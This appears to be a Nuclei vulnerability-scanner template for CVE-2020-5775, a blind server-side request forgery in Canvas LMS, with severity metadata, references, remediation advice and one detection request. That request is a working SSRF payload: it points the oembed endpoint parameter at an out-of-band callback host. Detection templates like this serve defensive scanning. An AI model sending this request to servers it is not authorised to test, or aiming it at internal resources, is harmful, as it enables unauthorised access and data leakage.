Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery

id: CVE-2020-5775

info:
  name: Canvas LMS v2020-07-29 - Blind Server-Side Request Forgery
  author: alph4byt3
  severity: medium
  description: Canvas version 2020-07-29 is susceptible to blind server-side request forgery. An attacker can cause Canvas to perform HTTP GET requests to arbitrary domains and thus potentially access sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches provided by Canvas LMS to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2020-49
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5775
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 5.8
    cve-id: CVE-2020-5775
    cwe-id: CWE-918
    epss-score: 0.00194
    epss-percentile: 0.57293
    cpe: cpe:2.3:a:instructure:canvas_learning_management_service:2020-07-29:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: instructure
    product: canvas_learning_management_service
  tags: cve,cve2020,ssrf,oast,blind,tenable,instructure

http:
  - method: GET
    path:
      - "{{BaseURL}}/external_content/retrieve/oembed?endpoint=http://{{interactsh-url}}&url=foo"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022100918e8bbee2f70a24536ea9b4b93bcdcb518ee413cb81c7ac821e994b6d6120ba02204345f63adc17a9b7cc30988b3811c511794446f3b0bd1a3796f96550a0d74c57:922c64590222798bb761d5b6d8e72950